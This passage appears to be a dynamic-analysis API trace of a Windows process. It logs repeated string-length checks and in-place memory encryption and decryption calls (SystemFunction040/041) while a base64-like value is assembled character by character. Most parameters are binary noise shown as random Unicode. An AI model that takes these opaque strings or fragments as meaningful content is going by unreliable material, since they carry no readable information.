(param_1="໥籋\ᓝ쫱幷侮喷≭) returned 0x8 [0255.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.021] SysStringLen (param_1="DWDU8r") returned 0x8 [0255.021] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.021] SysStringLen (param_1="圗솦\﷜㲭ٽ책≟) returned 0x8 [0255.021] SysStringLen (param_1="圗솦\﷜㲭ٽ책≟) returned 0x8 [0255.021] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.022] SysStringLen (param_1="DWDU8r8") returned 0x8 [0255.022] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.022] SysStringLen (param_1="컨ᆅ四왠᥏䠂뵽次") returned 0x8 [0255.022] SysStringLen (param_1="컨ᆅ四왠᥏䠂뵽次") returned 0x8 [0255.022] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.022] SysStringLen (param_1="DWDU8r8g") returned 0x8 [0255.022] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.022] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔") returned 0x8 [0255.022] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔") returned 0x8 [0255.022] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔") returned 0x8 [0255.023] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔") returned 0x10 [0255.023] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.023] SysStringLen (param_1="DWDU8r8g/缈疡㊐迉쎅佧㴱") returned 0x10 [0255.023] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.023] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔ࠬ熑綎ᐓ㶯者䌛") returned 0x10 [0255.023] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔ࠬ熑綎ᐓ㶯者䌛") returned 0x10 [0255.023] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="DWDU8r8g/R疡㊐迉쎅佧㴱") returned 0x10 [0255.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔嫔ヺ꟯䍤Ꮫ诱") returned 0x10 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔嫔ヺ꟯䍤Ꮫ诱") returned 0x10 [0255.024] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="DWDU8r8g/Rf㊐迉쎅佧㴱") returned 0x10 [0255.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔褪\য়樹䉺浲슢⋄) returned 0x10 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔褪\য়樹䉺浲슢⋄) returned 0x10 [0255.024] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="DWDU8r8g/RfU迉쎅佧㴱") returned 0x10 [0255.024] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔䛁烍练\蛙״−) returned 0x10 [0255.024] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔䛁烍练\蛙״−) returned 0x10 [0255.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.025] SysStringLen (param_1="DWDU8r8g/RfUy쎅佧㴱") returned 0x10 [0255.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.025] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔亁ٹ㺣찍突㌒纓") returned 0x10 [0255.025] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔亁ٹ㺣찍突㌒纓") returned 0x10 [0255.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.025] SysStringLen (param_1="DWDU8r8g/RfUyU佧㴱") returned 0x10 [0255.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.025] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔喇ẖ钁齻堡근ࢾ") returned 0x10 [0255.025] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔喇ẖ钁齻堡근ࢾ") returned 0x10 [0255.025] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.025] SysStringLen (param_1="DWDU8r8g/RfUyUe㴱") returned 0x10 [0255.025] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.026] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔잞ක躘Ậ仈噙ॕ᳃") returned 0x10 [0255.026] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔잞ක躘Ậ仈噙ॕ᳃") returned 0x10 [0255.026] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.026] SysStringLen (param_1="DWDU8r8g/RfUyUeO") returned 0x10 [0255.026] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0255.026] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣") returned 0x10 [0255.026] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣") returned 0x10 [0255.026] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣") returned 0x10 [0255.027] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣") returned 0x18 [0255.027] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.027] SysStringLen (param_1="DWDU8r8g/RfUyUeOK袇纣⣞ﵘ鉂⺄") returned 0x18 [0255.027] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.027] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣⛀戩拦퍢ꕉ") returned 0x18 [0255.027] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣⛀戩拦퍢ꕉ") returned 0x18 [0255.027] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.027] SysStringLen (param_1="DWDU8r8g/RfUyUeOKe纣⣞ﵘ鉂⺄") returned 0x18 [0255.027] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.027] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣펑뵦Ⲙ槠䩰胧") returned 0x18 [0255.027] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣펑뵦Ⲙ槠䩰胧") returned 0x18 [0255.027] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.028] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeR⣞ﵘ鉂⺄") returned 0x18 [0255.028] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.028] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣Ᏹ䶍䑯꒫톙㢔䀹ⷀ") returned 0x18 [0255.028] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣Ᏹ䶍䑯꒫톙㢔䀹ⷀ") returned 0x18 [0255.028] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.028] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiﵘ鉂⺄") returned 0x18 [0255.028] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.028] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣꺳恸鋔ᮒጉ璕僶") returned 0x18 [0255.028] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣꺳恸鋔ᮒጉ璕僶") returned 0x18 [0255.028] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.028] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiS鉂⺄") returned 0x18 [0255.028] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣፟䍝잔㜈蝡㋐㸃흛") returned 0x18 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣፟䍝잔㜈蝡㋐㸃흛") returned 0x18 [0255.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.029] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN⺄") returned 0x18 [0255.029] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣酵俵殨慓칗蠌⏖") returned 0x18 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣酵俵殨慓칗蠌⏖") returned 0x18 [0255.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.029] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1⺄") returned 0x18 [0255.029] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣窿ꂶ쳔駥螇手ﰤ⥒") returned 0x18 [0255.029] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣窿ꂶ쳔駥螇手ﰤ⥒") returned 0x18 [0255.029] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.030] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1h") returned 0x18 [0255.030] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.030] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ") returned 0x18 [0255.030] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ") returned 0x18 [0255.030] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ") returned 0x18 [0255.030] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ") returned 0x20 [0255.030] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.030] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1he츌崔鮽ꠎ䗇㼮쮛") returned 0x20 [0255.030] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ쳩漭㑟狘着䜦") returned 0x20 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ쳩漭㑟狘着䜦") returned 0x20 [0255.031] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.031] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1hei崔鮽ꠎ䗇㼮쮛") returned 0x20 [0255.031] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ梃軑\꫘喦騬ὂ∮) returned 0x20 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ梃軑\꫘喦騬ὂ∮) returned 0x20 [0255.031] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.031] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiP鮽ꠎ䗇㼮쮛") returned 0x20 [0255.031] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ瑙Ḓ髗漿蝃ힰ矶") returned 0x20 [0255.031] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ瑙Ḓ髗漿蝃ힰ矶") returned 0x20 [0255.031] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOꠎ䗇㼮쮛") returned 0x20 [0255.032] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ㲖벘邽盛철冄噇") returned 0x20 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ㲖벘邽盛철冄噇") returned 0x20 [0255.032] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOT䗇㼮쮛") returned 0x20 [0255.032] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠズ狲௨樇ɹ迀ǹ") returned 0x20 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠズ狲௨樇ɹ迀ǹ") returned 0x20 [0255.032] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTt㼮쮛") returned 0x20 [0255.032] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ秌ꒀ鎥䌓푮ཱ") returned 0x20 [0255.032] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ秌ꒀ鎥䌓푮ཱ") returned 0x20 [0255.033] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.033] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtB쮛") returned 0x20 [0255.033] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.033] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ寁憇୹敟\铙ᬋ⋻) returned 0x20 [0255.033] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ寁憇୹敟\铙ᬋ⋻) returned 0x20 [0255.033] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.033] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBj") returned 0x20 [0255.033] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.033] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\⋜) returned 0x20 [0255.033] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\⋜) returned 0x20 [0255.033] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\⋜) returned 0x20 [0255.034] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\⋜) returned 0x28 [0255.034] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.034] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjn䟼檅䐴䲣䭕ᇰ") returned 0x28 [0255.034] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.034] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\ￜㆭ售Ḱꗏ籦Ḅ侫⊞) returned 0x28 [0255.034] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\ￜㆭ售Ḱꗏ籦Ḅ侫⊞) returned 0x28 [0255.034] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.034] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnP檅䐴䲣䭕ᇰ") returned 0x28 [0255.034] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.034] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\蠪聕෿蔥첉⪇抗⊠) returned 0x28 [0255.035] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\蠪聕෿蔥첉⪇抗⊠) returned 0x28 [0255.035] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.035] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPL䐴䲣䭕ᇰ") returned 0x28 [0255.035] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.035] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\狜귻甙ꍓ归嫘튣䛨≙) returned 0x28 [0255.035] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\狜귻甙ꍓ归嫘튣䛨≙) returned 0x28 [0255.035] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.035] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLX䲣䭕ᇰ") returned 0x28 [0255.035] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.035] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\◜䛉洃耳襘껈鷄풃⋛) returned 0x28 [0255.035] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\◜䛉洃耳襘껈鷄풃⋛) returned 0x28 [0255.035] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.035] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM䭕ᇰ") returned 0x28 [0255.035] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\㿜掇鱕珢ꈎ俕ᘺ꫇⋋) returned 0x28 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\㿜掇鱕珢ꈎ俕ᘺ꫇⋋) returned 0x28 [0255.036] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.036] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7䭕ᇰ") returned 0x28 [0255.036] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\볜Ηᒾ嶍᎘笾㧵໧⊫) returned 0x28 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\볜Ηᒾ嶍᎘笾㧵໧⊫) returned 0x28 [0255.036] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.036] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fᇰ") returned 0x28 [0255.036] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\ﯜݪ峹砀㠀㘀쌀บ䣶莦꽻⊒) returned 0x28 [0255.036] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\ﯜݪ峹砀㠀㘀쌀บ䣶莦꽻⊒) returned 0x28 [0255.036] SystemFunction041 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.037] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fj") returned 0x28 [0255.037] SystemFunction040 (in: Memory=0x3af7dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af7dc) returned 0x0 [0255.037] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭⋴) returned 0x28 [0255.037] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭⋴) returned 0x28 [0255.037] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭⋴) returned 0x28 [0255.037] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭⋴) returned 0x30 [0255.037] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.037] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fji̴쯄⫔ꕡ⸟幨㤍") returned 0x30 [0255.037] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.038] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭갤悴돞ƅみ陆냍≜) returned 0x30 [0255.038] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭갤悴돞ƅみ陆냍≜) returned 0x30 [0255.038] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.038] SysStringLen (param_1="DWDU8r8g/RfUyUeOKeRiSN1heiPOTtBjnPLXM7fjio쯄⫔ꕡ⸟幨㤍") returned 0x30 [0255.038] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0255.038] SysStringLen (param_1="烉䞝ˈ衞Ц痺㰔媾뀒৊鈐皷␽遣䌜⩽ⅳ⏡䱝ڠ釧罩ᷬﻺ음姲㠦\䗜ꅆ괻᪼躐怮ᮘ㘭仴ᯤ哺揘鷦䧡瞓ゕ∆) returned 0x30 [0255.038] SysStringLen 